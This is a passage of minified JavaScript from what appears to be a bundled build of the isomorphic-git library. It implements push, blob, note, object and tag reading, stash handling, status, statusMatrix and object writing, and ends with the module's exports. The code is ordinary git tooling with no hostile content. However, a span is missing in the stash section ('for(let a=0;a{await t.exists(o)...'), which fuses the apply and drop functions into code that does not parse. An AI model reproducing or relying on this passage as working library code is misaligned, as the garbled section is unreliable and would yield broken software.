B=!C.capabilities.has("no-thin"),L=new Set;if(!g){let ve=[...C.refs.values()],I=new Set;if(N!=="0000000000000000000000000000000000000000"){let Pe=await n1({fs:t,cache:e,gitdir:c,oids:[v,N]});for(let Nt of Pe)ve.push(Nt);B&&(I=await zv({fs:t,cache:e,gitdir:c,oids:Pe}))}if(!ve.includes(v)){let Pe=await lG({fs:t,cache:e,gitdir:c,start:[v],finish:ve});L=await zv({fs:t,cache:e,gitdir:c,oids:Pe})}if(B){try{let Pe=await te.resolve({fs:t,gitdir:c,ref:`refs/remotes/${h}/HEAD`,depth:2}),{oid:Nt}=await te.resolveAgainstMap({ref:Pe.replace(`refs/remotes/${h}/`,""),fullref:Pe,map:C.refs}),tt=[Nt];for(let Ve of await zv({fs:t,cache:e,gitdir:c,oids:tt}))I.add(Ve)}catch{}for(let Pe of I)L.delete(Pe)}if(v===N&&(p=!0),!p){if(E.startsWith("refs/tags")&&N!=="0000000000000000000000000000000000000000")throw new dc("tag-exists");if(v!=="0000000000000000000000000000000000000000"&&N!=="0000000000000000000000000000000000000000"&&!await HO({fs:t,cache:e,gitdir:c,oid:v,ancestor:N,depth:-1}))throw new dc("not-fast-forward")}}let G=wO([...C.capabilities],["report-status","side-band-64k",`agent=${Rp.agent}`]),U=await uG({capabilities:G,triplets:[{oldoid:N,oid:v,fullRef:P}]}),he=g?[]:await sP({fs:t,cache:e,gitdir:c,oids:[...L]}),Te=await _.connect({http:n,onProgress:r,corsProxy:y,service:"git-receive-pack",url:D,auth:A,headers:w,body:[...U,...he]}),{packfile:Xe,progress:O}=await Ap.demux(Te.body);if(i){let ve=bO(O);oh(ve,async I=>{await i(I)})}let De=await cG(Xe);if(Te.headers&&(De.headers=Te.headers),h&&De.ok&&De.refs[P].ok&&!E.startsWith("refs/tags")){let ve=`refs/remotes/${h}/${P.replace("refs/heads","")}`;g?await te.deleteRef({fs:t,gitdir:c,ref:ve}):await te.writeRef({fs:t,gitdir:c,ref:ve,value:v})}if(De.ok&&Object.values(De.refs).every(ve=>ve.ok))return De;{let ve=Object.entries(De.refs).filter(([I,Pe])=>!Pe.ok).map(([I,Pe])=>` - - ${I}: ${Pe.error}`).join("");throw new Qf(ve,De)}}async function lP({fs:t,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,onPrePush:a,dir:l,gitdir:c=V(l,".git"),ref:u,remoteRef:f,remote:h="origin",url:d,force:p=!1,delete:g=!1,corsProxy:y,headers:w={},cache:b={}}){try{R("fs",t),R("http",e),R("gitdir",c);let S=new fe(t),D=await de({fsp:S,dotgit:c});return await fG({fs:S,cache:b,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,onPrePush:a,gitdir:D,ref:u,remoteRef:f,remote:h,url:d,force:p,delete:g,corsProxy:y,headers:w})}catch(S){throw S.caller="git.push",S}}async function cP({fs:t,cache:e,gitdir:n,oid:r}){let{type:i,object:s}=await ct({fs:t,cache:e,gitdir:n,oid:r});if(i==="tag")return r=lr.from(s).parse().object,cP({fs:t,cache:e,gitdir:n,oid:r});if(i!=="blob")throw new bn(r,i,"blob");return{oid:r,blob:new Uint8Array(s)}}async function uP({fs:t,cache:e,gitdir:n,oid:r,filepath:i=void 0}){return i!==void 0&&(r=await ih({fs:t,cache:e,gitdir:n,oid:r,filepath:i})),await cP({fs:t,cache:e,gitdir:n,oid:r})}async function fP({fs:t,dir:e,gitdir:n=V(e,".git"),oid:r,filepath:i,cache:s={}}){try{R("fs",t),R("gitdir",n),R("oid",r);let o=new fe(t),a=await de({fsp:o,dotgit:n});return await uP({fs:o,cache:s,gitdir:a,oid:r,filepath:i})}catch(o){throw o.caller="git.readBlob",o}}async function r1({fs:t,dir:e,gitdir:n=V(e,".git"),oid:r,cache:i={}}){try{R("fs",t),R("gitdir",n),R("oid",r);let s=new fe(t),o=await de({fsp:s,dotgit:n});return await yc({fs:s,cache:i,gitdir:o,oid:r})}catch(s){throw s.caller="git.readCommit",s}}async function hG({fs:t,cache:e,gitdir:n,ref:r="refs/notes/commits",oid:i}){let s=await te.resolve({gitdir:n,fs:t,ref:r}),{blob:o}=await uP({fs:t,cache:e,gitdir:n,oid:s,filepath:i});return o}async function hP({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r="refs/notes/commits",oid:i,cache:s={}}){try{R("fs",t),R("gitdir",n),R("ref",r),R("oid",i);let o=new fe(t),a=await de({fsp:o,dotgit:n});return await hG({fs:o,cache:s,gitdir:a,ref:r,oid:i})}catch(o){throw o.caller="git.readNote",o}}async function dP({fs:t,dir:e,gitdir:n=V(e,".git"),oid:r,format:i="parsed",filepath:s=void 0,encoding:o=void 0,cache:a={}}){try{R("fs",t),R("gitdir",n),R("oid",r);let l=new fe(t),c=await de({fsp:l,dotgit:n});s!==void 0&&(r=await ih({fs:l,cache:a,gitdir:c,oid:r,filepath:s}));let f=await ct({fs:l,cache:a,gitdir:c,oid:r,format:i==="parsed"?"content":i});if(f.oid=r,i==="parsed")switch(f.format="parsed",f.type){case"commit":f.object=Ln.from(f.object).parse();break;case"tree":f.object=zn.from(f.object).entries();break;case"blob":o?f.object=f.object.toString(o):(f.object=new Uint8Array(f.object),f.format="content");break;case"tag":f.object=lr.from(f.object).parse();break;default:throw new bn(f.oid,f.type,"blob|commit|tag|tree")}else(f.format==="deflated"||f.format==="wrapped")&&(f.type=f.format);return f}catch(l){throw l.caller="git.readObject",l}}async function dG({fs:t,cache:e,gitdir:n,oid:r}){let{type:i,object:s}=await ct({fs:t,cache:e,gitdir:n,oid:r,format:"content"});if(i!=="tag")throw new bn(r,i,"tag");let o=lr.from(s);return{oid:r,tag:o.parse(),payload:o.payload()}}async function mP({fs:t,dir:e,gitdir:n=V(e,".git"),oid:r,cache:i={}}){try{R("fs",t),R("gitdir",n),R("oid",r);let s=new fe(t),o=await de({fsp:s,dotgit:n});return await dG({fs:s,cache:i,gitdir:o,oid:r})}catch(s){throw s.caller="git.readTag",s}}async function pP({fs:t,dir:e,gitdir:n=V(e,".git"),oid:r,filepath:i=void 0,cache:s={}}){try{R("fs",t),R("gitdir",n),R("oid",r);let o=new fe(t),a=await de({fsp:o,dotgit:n});return await xc({fs:o,cache:s,gitdir:a,oid:r,filepath:i})}catch(o){throw o.caller="git.readTree",o}}async function gP({fs:t,dir:e,gitdir:n=V(e,".git"),filepath:r,cache:i={}}){try{R("fs",t),R("gitdir",n),R("filepath",r);let s=new fe(t),o=await de({fsp:s,dotgit:n});await Tt.acquire({fs:s,gitdir:o,cache:i},async function(a){a.delete({filepath:r})})}catch(s){throw s.caller="git.remove",s}}async function mG({fs:t,cache:e,onSign:n,gitdir:r,ref:i="refs/notes/commits",oid:s,author:o,committer:a,signingKey:l}){let c;try{c=await te.resolve({gitdir:r,fs:t,ref:i})}catch(p){if(!(p instanceof st))throw p}let f=(await xc({fs:t,cache:e,gitdir:r,oid:c||"4b825dc642cb6eb9a060e54bf8d69288fbee4904"})).tree;f=f.filter(p=>p.path!==s);let h=await sh({fs:t,gitdir:r,tree:f});return await Mp({fs:t,cache:e,onSign:n,gitdir:r,ref:i,tree:h,parent:c&&[c],message:`Note removed by 'isomorphic-git removeNote' -`,author:o,committer:a,signingKey:l})}async function yP({fs:t,onSign:e,dir:n,gitdir:r=V(n,".git"),ref:i="refs/notes/commits",oid:s,author:o,committer:a,signingKey:l,cache:c={}}){try{R("fs",t),R("gitdir",r),R("oid",s);let u=new fe(t),f=await de({fsp:u,dotgit:r}),h=await no({fs:u,gitdir:f,author:o});if(!h)throw new ln("author");let d=await gc({fs:u,gitdir:f,author:h,committer:a});if(!d)throw new ln("committer");return await mG({fs:u,cache:c,onSign:e,gitdir:f,ref:i,oid:s,author:h,committer:d,signingKey:l})}catch(u){throw u.caller="git.removeNote",u}}async function pG({fs:t,gitdir:e,oldref:n,ref:r,checkout:i=!1}){if(!rh(r,!0))throw new si(r,Bf.clean(r));if(!rh(n,!0))throw new si(n,Bf.clean(n));let s=`refs/heads/${n}`,o=`refs/heads/${r}`;if(await te.exists({fs:t,gitdir:e,ref:o}))throw new ii("branch",r,!1);let l=await te.resolve({fs:t,gitdir:e,ref:s,depth:1});await te.writeRef({fs:t,gitdir:e,ref:o,value:l}),await te.deleteRef({fs:t,gitdir:e,ref:s});let u=await io({fs:t,gitdir:e,fullname:!0})===s;(i||u)&&await te.writeSymbolicRef({fs:t,gitdir:e,ref:"HEAD",value:o})}async function wP({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r,oldref:i,checkout:s=!1}){try{R("fs",t),R("gitdir",n),R("ref",r),R("oldref",i);let o=new fe(t),a=await de({fsp:o,dotgit:n});return await pG({fs:o,gitdir:a,ref:r,oldref:i,checkout:s})}catch(o){throw o.caller="git.renameBranch",o}}async function bP({gitdir:t,type:e,object:n}){return us(Js.wrap({type:e,object:n}))}async function vP({fs:t,dir:e,gitdir:n=V(e,".git"),filepath:r,ref:i,cache:s={}}){try{R("fs",t),R("gitdir",n),R("filepath",r);let o=new fe(t),a=await de({fsp:o,dotgit:n}),l,c;try{l=await te.resolve({fs:o,gitdir:a,ref:i||"HEAD"})}catch(h){if(i)throw h}if(l)try{l=await ih({fs:o,cache:s,gitdir:a,oid:l,filepath:r})}catch{l=null}let u={ctime:new Date(0),mtime:new Date(0),dev:0,ino:0,mode:0,uid:0,gid:0,size:0},f=e&&await o.read(V(e,r));f&&(c=await bP({gitdir:a,type:"blob",object:f}),l===c&&(u=await o.lstat(V(e,r)))),await Tt.acquire({fs:o,gitdir:a,cache:s},async function(h){h.delete({filepath:r}),l&&h.insert({filepath:r,stats:u,oid:l})})}catch(o){throw o.caller="git.reset",o}}async function kP({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r,depth:i}){try{R("fs",t),R("gitdir",n),R("ref",r);let s=new fe(t),o=await de({fsp:s,dotgit:n});return await te.resolve({fs:s,gitdir:o,ref:r,depth:i})}catch(s){throw s.caller="git.resolveRef",s}}async function xP({fs:t,dir:e,gitdir:n=V(e,".git"),path:r,value:i,append:s=!1}){try{R("fs",t),R("gitdir",n),R("path",r);let o=new fe(t),a=await de({fsp:o,dotgit:n}),l=await Et.get({fs:o,gitdir:a});s?await l.append(r,i):await l.set(r,i),await Et.save({fs:o,gitdir:a,config:l})}catch(o){throw o.caller="git.setConfig",o}}async function SP({fs:t,gitdir:e,commit:n}){let r=Ln.from(n).toObject();return await Bn({fs:t,gitdir:e,type:"commit",object:r,format:"content"})}var Op=class t{static get timezoneOffsetForRefLogEntry(){let e=new Date().getTimezoneOffset(),n=Math.abs(Math.floor(e/60)),r=Math.abs(e%60).toString().padStart(2,"0");return`${e>0?"-":"+"}${n.toString().padStart(2,"0")}${r}`}static createStashReflogEntry(e,n,r){let i=e.name.replace(/\s/g,""),s="0000000000000000000000000000000000000000",o=Math.floor(Date.now()/1e3),a=t.timezoneOffsetForRefLogEntry;return`${s} ${n} ${i} ${e.email} ${o} ${a} ${r} -`}static getStashReflogEntry(e,n=!1){return e.split(` -`).filter(s=>s).reverse().map((s,o)=>n?`stash@{${o}}: ${s.split(" ")[1]}`:s)}},gG={stage:Da,workdir:kc},Lv;async function vc(t,e){return Lv===void 0&&(Lv=new Lf),Lv.acquire(t,e)}async function yG(t,e,n,r,i=null){let s=V(n,r),o=await t.lstat(s);if(!o)throw new st(s);if(o.isDirectory())throw new Ce(`${s}: file expected, but found directory`);let a=i?await JA({fs:t,gitdir:e,oid:i}):void 0,l=a?i:void 0;return a||await vc({fs:t,gitdir:e,currentFilepath:s},async()=>{let c=o.isSymbolicLink()?await t.readlink(s).then(sO):await t.read(s);if(c===null)throw new st(s);l=await Bn({fs:t,gitdir:e,type:"blob",object:c})}),l}async function wG({fs:t,dir:e,gitdir:n,entries:r}){async function i(s){if(s.type==="tree"){if(!s.oid){let o=await Promise.all(s.children.map(i));s.oid=await sh({fs:t,gitdir:n,tree:o}),s.mode=16384}}else s.type==="blob"&&(s.oid=await yG(t,n,e,s.path,s.oid),s.mode=33188);return s.path=s.path.split("/").pop(),s}return Promise.all(r.map(i))}async function HA({fs:t,dir:e,gitdir:n,treePair:r}){let i=r[1]==="stage",s=r.map(d=>typeof d=="string"?gG[d]():d),o=[],u=await eo({fs:t,cache:{},dir:e,gitdir:n,trees:s,map:async(d,[p,g])=>{if(!(d==="."||await to.isIgnored({fs:t,dir:e,gitdir:n,filepath:d}))&&g)return(!p||await p.oid()!==await g.oid()&&await g.oid()!==void 0)&&o.push([p,g]),{mode:await g.mode(),path:d,oid:await g.oid(),type:await g.type()}},reduce:async(d,p)=>(p=p.filter(Boolean),d?(d.children=p,d):p.length>0?p:void 0),iterate:async(d,p)=>{let g=[];for(let y of p){let[w,b]=y;i?b&&(await t.exists(`${e}/${b.toString()}`)?g.push(y):o.push([null,b])):w&&(b?g.push(y):o.push([w,null]))}return g.length?Promise.all(g.map(d)):[]}});if(o.length===0||u.length===0)return null;let h=(await wG({fs:t,dir:e,gitdir:n,entries:u})).filter(Boolean).map(d=>({mode:d.mode,path:d.path,oid:d.oid,type:d.type}));return sh({fs:t,gitdir:n,tree:h})}async function bG({fs:t,dir:e,gitdir:n,stashCommit:r,parentCommit:i,wasStaged:s}){let o=[],a=[],l=await eo({fs:t,cache:{},dir:e,gitdir:n,trees:[ar({ref:i}),ar({ref:r})],map:async(c,[u,f])=>{if(c==="."||await to.isIgnored({fs:t,dir:e,gitdir:n,filepath:c}))return;let h=f?await f.type():await u.type();if(h!=="tree"&&h!=="blob")return;if(!f&&u){let p=h==="tree"?"rmdir":"rm";return h==="tree"&&o.push(c),h==="blob"&&s&&a.push({filepath:c,oid:await u.oid()}),{method:p,filepath:c}}let d=await f.oid();if(!u||await u.oid()!==d)return h==="tree"?{method:"mkdir",filepath:c}:(s&&a.push({filepath:c,oid:d,stats:await t.lstat(V(e,c))}),{method:"write",filepath:c,oid:d})}});await vc({fs:t,gitdir:n,dirRemoved:o,ops:l},async()=>{for(let c of l){let u=V(e,c.filepath);switch(c.method){case"rmdir":await t.rmdir(u);break;case"mkdir":await t.mkdir(u);break;case"rm":await t.rm(u);break;case"write":if(!o.some(f=>u.startsWith(f))){let{object:f}=await ct({fs:t,cache:{},gitdir:n,oid:c.oid});await t.exists(u)&&await t.rm(u),await t.write(u,f)}break}}}),await Tt.acquire({fs:t,gitdir:n,cache:{}},async c=>{a.forEach(({filepath:u,stats:f,oid:h})=>{c.insert({filepath:u,stats:f,oid:h})})})}var Sa=class t{constructor({fs:e,dir:n,gitdir:r=V(n,".git")}){Object.assign(this,{fs:e,dir:n,gitdir:r,_author:null})}static get refStash(){return"refs/stash"}static get refLogsStash(){return"logs/refs/stash"}get refStashPath(){return V(this.gitdir,t.refStash)}get refLogsStashPath(){return V(this.gitdir,t.refLogsStash)}async getAuthor(){if(!this._author&&(this._author=await no({fs:this.fs,gitdir:this.gitdir,author:{}}),!this._author))throw new ln("author");return this._author}async getStashSHA(e,n){return await this.fs.exists(this.refStashPath)?(n||await this.readStashReflogs({parsed:!1}))[e].split(" ")[1]:null}async writeStashCommit({message:e,tree:n,parent:r}){return SP({fs:this.fs,gitdir:this.gitdir,commit:{message:e,tree:n,parent:r,author:await this.getAuthor(),committer:await this.getAuthor()}})}async readStashCommit(e){let n=await this.readStashReflogs({parsed:!1});if(e!==0&&(e<0||e>n.length-1))throw new si(`stash@${e}`,"number that is in range of [0, num of stash pushed]");let r=await this.getStashSHA(e,n);return r?yc({fs:this.fs,cache:{},gitdir:this.gitdir,oid:r}):{}}async writeStashRef(e){return te.writeRef({fs:this.fs,gitdir:this.gitdir,ref:t.refStash,value:e})}async writeStashReflogEntry({stashCommit:e,message:n}){let r=await this.getAuthor(),i=Op.createStashReflogEntry(r,e,n),s=this.refLogsStashPath;await vc({filepath:s,entry:i},async()=>{let o=await this.fs.exists(s)?await this.fs.read(s,"utf8"):"";await this.fs.write(s,o+i,"utf8")})}async readStashReflogs({parsed:e=!1}){if(!await this.fs.exists(this.refLogsStashPath))return[];let n=await this.fs.read(this.refLogsStashPath,"utf8");return Op.getStashReflogEntry(n,e)}};async function DP({fs:t,dir:e,gitdir:n,message:r=""}){let i=new Sa({fs:t,dir:e,gitdir:n});await i.getAuthor();let s=await io({fs:t,gitdir:n,fullname:!1}),o=await te.resolve({fs:t,gitdir:n,ref:"HEAD"}),l=(await r1({fs:t,dir:e,gitdir:n,oid:o})).commit.message,c=[o],u=null,f=ar({ref:"HEAD"}),h=await HA({fs:t,dir:e,gitdir:n,treePair:[ar({ref:"HEAD"}),"stage"]});if(h){let y=await i.writeStashCommit({message:`stash-Index: WIP on ${s} - ${new Date().toISOString()}`,tree:h,parent:c});c.push(y),u=h,f=Da()}let d=await HA({fs:t,dir:e,gitdir:n,treePair:[f,"workdir"]});if(d){let y=await i.writeStashCommit({message:`stash-WorkDir: WIP on ${s} - ${new Date().toISOString()}`,tree:d,parent:[c[c.length-1]]});c.push(y),u=d}if(!u||!h&&!d)throw new st("changes, nothing to stash");let p=(r.trim()||`WIP on ${s}`)+`: ${o.substring(0,7)} ${l}`;return{stashCommit:await i.writeStashCommit({message:p,tree:u,parent:c}),stashMsg:p,branch:s,stashMgr:i}}async function vG({fs:t,dir:e,gitdir:n,message:r=""}){let{stashCommit:i,stashMsg:s,branch:o,stashMgr:a}=await DP({fs:t,dir:e,gitdir:n,message:r});return await a.writeStashRef(i),await a.writeStashReflogEntry({stashCommit:i,message:s}),await e1({fs:t,dir:e,gitdir:n,ref:o,track:!1,force:!0}),i}async function kG({fs:t,dir:e,gitdir:n,message:r=""}){let{stashCommit:i}=await DP({fs:t,dir:e,gitdir:n,message:r});return i}async function EP({fs:t,dir:e,gitdir:n,refIdx:r=0}){let s=await new Sa({fs:t,dir:e,gitdir:n}).readStashCommit(r),{parent:o=null}=s.commit?s.commit:{};if(!(!o||!Array.isArray(o)))for(let a=0;a{await t.exists(o)&&await t.rm(o)});let a=await i.readStashReflogs({parsed:!1});if(!a.length)return;a.splice(r,1);let l=i.refLogsStashPath;await vc({reflogEntries:a,stashReflogPath:l,stashMgr:i},async()=>{if(a.length){await t.write(l,a.reverse().join(` -`)+` -`,"utf8");let c=a[a.length-1].split(" ")[1];await i.writeStashRef(c)}else await t.rm(l)})}async function xG({fs:t,dir:e,gitdir:n}){return new Sa({fs:t,dir:e,gitdir:n}).readStashReflogs({parsed:!0})}async function SG({fs:t,dir:e,gitdir:n}){let r=new Sa({fs:t,dir:e,gitdir:n}),i=[r.refStashPath,r.refLogsStashPath];await vc(i,async()=>{await Promise.all(i.map(async s=>{if(await t.exists(s))return t.rm(s)}))})}async function DG({fs:t,dir:e,gitdir:n,refIdx:r=0}){await EP({fs:t,dir:e,gitdir:n,refIdx:r}),await _P({fs:t,dir:e,gitdir:n,refIdx:r})}async function CP({fs:t,dir:e,gitdir:n=V(e,".git"),op:r="push",message:i="",refIdx:s=0}){R("fs",t),R("dir",e),R("gitdir",n),R("op",r);let o={push:vG,apply:EP,drop:_P,list:xG,clear:SG,pop:DG,create:kG},a=["apply","drop","pop"];try{let l=new fe(t),c=await de({fsp:l,dotgit:n});["refs","logs","logs/refs"].map(h=>V(c,h)).forEach(async h=>{await l.exists(h)||await l.mkdir(h)});let f=o[r];if(f){if(a.includes(r)&&s<0)throw new si(`stash@${s}`,"number that is in range of [0, num of stash pushed]");return await f({fs:l,dir:e,gitdir:c,message:i,refIdx:s})}throw new Error(`To be implemented: ${r}`)}catch(l){throw l.caller="git.stash",l}}async function TP({fs:t,dir:e,gitdir:n=V(e,".git"),filepath:r,cache:i={}}){try{R("fs",t),R("gitdir",n),R("filepath",r);let s=new fe(t),o=await de({fsp:s,dotgit:n});if(await to.isIgnored({fs:s,gitdir:o,dir:e,filepath:r}))return"ignored";let l=await EG({fs:s,cache:i,gitdir:o}),c=await FP({fs:s,cache:i,gitdir:o,tree:l,path:r}),u=await Tt.acquire({fs:s,gitdir:o,cache:i},async function(y){for(let w of y)if(w.path===r)return w;return null}),f=await s.lstat(V(e,r)),h=c!==null,d=u!==null,p=f!==null,g=async()=>{if(d&&!Sp(u,f))return u.oid;{let y=await s.read(V(e,r)),w=await bP({gitdir:o,type:"blob",object:y});return d&&u.oid===w&&f.size!==-1&&Tt.acquire({fs:s,gitdir:o,cache:i},async function(b){b.insert({filepath:r,stats:f,oid:w})}),w}};if(!h&&!p&&!d)return"absent";if(!h&&!p&&d)return"*absent";if(!h&&p&&!d)return"*added";if(!h&&p&&d)return await g()===u.oid?"added":"*added";if(h&&!p&&!d)return"deleted";if(h&&!p&&d)return c===u.oid,"*deleted";if(h&&p&&!d)return await g()===c?"*undeleted":"*undeletemodified";if(h&&p&&d){let y=await g();return y===c?y===u.oid?"unmodified":"*unmodified":y===u.oid?"modified":"*modified"}}catch(s){throw s.caller="git.status",s}}async function FP({fs:t,cache:e,gitdir:n,tree:r,path:i}){typeof i=="string"&&(i=i.split("/"));let s=i.shift();for(let o of r)if(o.path===s){if(i.length===0)return o.oid;let{type:a,object:l}=await ct({fs:t,cache:e,gitdir:n,oid:o.oid});if(a==="tree"){let c=zn.from(l);return FP({fs:t,cache:e,gitdir:n,tree:c,path:i})}if(a==="blob")throw new bn(o.oid,a,"blob",i.join("/"))}return null}async function EG({fs:t,cache:e,gitdir:n}){let r;try{r=await te.resolve({fs:t,gitdir:n,ref:"HEAD"})}catch(s){if(s instanceof st)return[]}let{tree:i}=await xc({fs:t,cache:e,gitdir:n,oid:r});return i}async function IP({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r="HEAD",filepaths:i=["."],filter:s,cache:o={},ignored:a=!1}){try{R("fs",t),R("gitdir",n),R("ref",r);let l=new fe(t),c=await de({fsp:l,dotgit:n});return await eo({fs:l,cache:o,dir:e,gitdir:c,trees:[ar({ref:r}),kc(),Da()],map:async function(u,[f,h,d]){if(!f&&!d&&h&&!a&&await to.isIgnored({fs:l,dir:e,filepath:u})||!i.some(v=>gO(u,v)))return null;if(s&&!s(u))return;let[p,g,y]=await Promise.all([f&&f.type(),h&&h.type(),d&&d.type()]),w=[p,g,y].includes("blob");if((p==="tree"||p==="special")&&!w)return;if(p==="commit")return null;if((g==="tree"||g==="special")&&!w)return;if(y==="commit")return null;if((y==="tree"||y==="special")&&!w)return;let b=p==="blob"?await f.oid():void 0,S=y==="blob"?await d.oid():void 0,D;p!=="blob"&&g==="blob"&&y!=="blob"?D="42":g==="blob"&&(D=await h.oid());let k=[void 0,b,D,S],E=k.map(v=>k.indexOf(v));return E.shift(),[u,...E]}})}catch(l){throw l.caller="git.statusMatrix",l}}async function AP({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r,object:i,force:s=!1}){try{R("fs",t),R("gitdir",n),R("ref",r);let o=new fe(t);if(r===void 0)throw new Rn("ref");r=r.startsWith("refs/tags/")?r:`refs/tags/${r}`;let a=await de({fsp:o,dotgit:n}),l=await te.resolve({fs:o,gitdir:a,ref:i||"HEAD"});if(!s&&await te.exists({fs:o,gitdir:a,ref:r}))throw new ii("tag",r);await te.writeRef({fs:o,gitdir:a,ref:r,value:l})}catch(o){throw o.caller="git.tag",o}}async function OP({fs:t,dir:e,gitdir:n=V(e,".git"),cache:r={},filepath:i,oid:s,mode:o,add:a,remove:l,force:c}){try{R("fs",t),R("gitdir",n),R("filepath",i);let u=new fe(t),f=await de({fsp:u,dotgit:n});if(l)return await Tt.acquire({fs:u,gitdir:f,cache:r},async function(d){if(!c){let p=await u.lstat(V(e,i));if(p){if(p.isDirectory())throw new Xs("directory");return}}d.has({filepath:i})&&d.delete({filepath:i})});let h;if(!s){if(h=await u.lstat(V(e,i)),!h)throw new st(`file at "${i}" on disk and "remove" not set`);if(h.isDirectory())throw new Xs("directory")}return await Tt.acquire({fs:u,gitdir:f,cache:r},async function(d){if(!a&&!d.has({filepath:i}))throw new st(`file at "${i}" in index and "add" not set`);let p;if(s)p={ctime:new Date(0),mtime:new Date(0),dev:0,ino:0,mode:o,uid:0,gid:0,size:0};else{p=h;let g=p.isSymbolicLink()?await u.readlink(V(e,i)):await u.read(V(e,i));s=await Bn({fs:u,gitdir:f,type:"blob",format:"content",object:g})}return d.insert({filepath:i,oid:s,stats:p}),s})}catch(u){throw u.caller="git.updateIndex",u}}function PP(){try{return Rp.version}catch(t){throw t.caller="git.version",t}}async function NP({fs:t,dir:e,gitdir:n=V(e,".git"),trees:r,map:i,reduce:s,iterate:o,cache:a={}}){try{R("fs",t),R("gitdir",n),R("trees",r);let l=new fe(t),c=await de({fsp:l,dotgit:n});return await eo({fs:l,cache:a,dir:e,gitdir:c,trees:r,map:i,reduce:s,iterate:o})}catch(l){throw l.caller="git.walk",l}}async function MP({fs:t,dir:e,gitdir:n=V(e,".git"),blob:r}){try{R("fs",t),R("gitdir",n),R("blob",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await Bn({fs:i,gitdir:s,type:"blob",object:r,format:"content"})}catch(i){throw i.caller="git.writeBlob",i}}async function RP({fs:t,dir:e,gitdir:n=V(e,".git"),commit:r}){try{R("fs",t),R("gitdir",n),R("commit",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await SP({fs:i,gitdir:s,commit:r})}catch(i){throw i.caller="git.writeCommit",i}}async function zP({fs:t,dir:e,gitdir:n=V(e,".git"),type:r,object:i,format:s="parsed",oid:o,encoding:a=void 0}){try{let l=new fe(t),c=await de({fsp:l,dotgit:n});if(s==="parsed"){switch(r){case"commit":i=Ln.from(i).toObject();break;case"tree":i=zn.from(i).toObject();break;case"blob":i=x.from(i,a);break;case"tag":i=lr.from(i).toObject();break;default:throw new bn(o||"",r,"blob|commit|tag|tree")}s="content"}return o=await Bn({fs:l,gitdir:c,type:r,object:i,oid:o,format:s}),o}catch(l){throw l.caller="git.writeObject",l}}async function LP({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r,value:i,force:s=!1,symbolic:o=!1}){try{R("fs",t),R("gitdir",n),R("ref",r),R("value",i);let a=new fe(t);if(!rh(r,!0))throw new si(r,Bf.clean(r));let l=await de({fsp:a,dotgit:n});if(!s&&await te.exists({fs:a,gitdir:l,ref:r}))throw new ii("ref",r);o?await te.writeSymbolicRef({fs:a,gitdir:l,ref:r,value:i}):(i=await te.resolve({fs:a,gitdir:l,ref:i}),await te.writeRef({fs:a,gitdir:l,ref:r,value:i}))}catch(a){throw a.caller="git.writeRef",a}}async function _G({fs:t,gitdir:e,tag:n}){let r=lr.from(n).toObject();return await Bn({fs:t,gitdir:e,type:"tag",object:r,format:"content"})}async function BP({fs:t,dir:e,gitdir:n=V(e,".git"),tag:r}){try{R("fs",t),R("gitdir",n),R("tag",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await _G({fs:i,gitdir:s,tag:r})}catch(i){throw i.caller="git.writeTag",i}}async function $P({fs:t,dir:e,gitdir:n=V(e,".git"),tree:r}){try{R("fs",t),R("gitdir",n),R("tree",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await sh({fs:i,gitdir:s,tree:r})}catch(i){throw i.caller="git.writeTree",i}}var CG={Errors:tO,STAGE:Da,TREE:ar,WORKDIR:kc,add:oO,abortMerge:rO,addNote:fO,addRemote:dO,annotatedTag:mO,branch:pO,checkout:e1,clone:kO,commit:xO,getConfig:zO,getConfigAll:LO,setConfig:xP,currentBranch:SO,deleteBranch:DO,deleteRef:EO,deleteRemote:_O,deleteTag:CO,expandOid:TO,expandRef:FO,fastForward:OO,fetch:PO,findMergeBase:NO,findRoot:RO,getRemoteInfo:BO,getRemoteInfo2:UO,hashBlob:jO,indexPack:qO,init:VO,isDescendent:WO,isIgnored:GO,listBranches:QO,listFiles:ZO,listNotes:YO,listRefs:JO,listRemotes:XO,listServerRefs:eP,listTags:tP,log:rP,merge:iP,packObjects:oP,pull:aP,push:lP,readBlob:fP,readCommit:r1,readNote:hP,readObject:dP,readTag:mP,readTree:pP,remove:gP,removeNote:yP,renameBranch:wP,resetIndex:vP,updateIndex:OP,resolveRef:kP,status:TP,statusMatrix:IP,tag:AP,version:PP,walk:NP,writeBlob:MP,writeCommit:RP,writeObject:zP,writeRef:LP,writeTag:BP,writeTree:$P,stash:CP};oe.Errors=tO;oe.STAGE=Da;oe.TREE=ar;oe.WORKDIR=kc;oe.abortMerge=rO;oe.add=oO;oe.addNote=fO;oe.addRemote=dO;oe.annotatedTag=mO;oe.branch=pO;oe.checkout=e1;oe.clone=kO;oe.commit=xO;oe.currentBranch=SO;oe.default=CG;oe.deleteBranch=DO;oe.deleteRef=EO;oe.deleteRemote=_O;oe.deleteTag=CO;oe.expandOid=TO;oe.expandRef=FO;oe.fastForward=OO;oe.fetch=PO;oe.findMergeBase=NO;oe.findRoot=RO;oe.getConfig=zO;oe.getConfigAll=LO;oe.getRemoteInfo=BO;oe.getRemoteInfo2=UO;oe.hashBlob=jO;oe.indexPack=qO;oe.init=VO;oe.isDescendent=WO;oe.isIgnored=GO;oe.listBranches=QO;oe.listFiles=ZO;oe.listNotes=YO;oe.listRefs=JO;oe.listRemotes=XO;oe.listServerRefs=eP;oe.listTags=tP;oe.log=rP;oe.merge=iP;oe.packObjects=oP;oe.pull=aP;oe.push=lP;oe.readBlob=fP;oe.readCommit=r1;oe.readNote=hP;oe.readObject=dP;oe.readTag=mP;oe.readTree=pP;oe.remove=gP;oe.removeNote=yP;oe.renameBranch=wP;oe.resetIndex=vP;oe.resolveRef=kP;oe.setConfig=xP;oe.stash=CP;oe.status=TP;oe.statusMatrix=IP;oe.tag=AP;oe.updateIndex=OP;oe.version=PP;oe.walk=NP;oe.writeBlob=MP;oe.writeCommit=RP;oe.writeObject=zP;oe.writeRef=LP;oe.writeTag=BP;oe.writeTree=$P});var 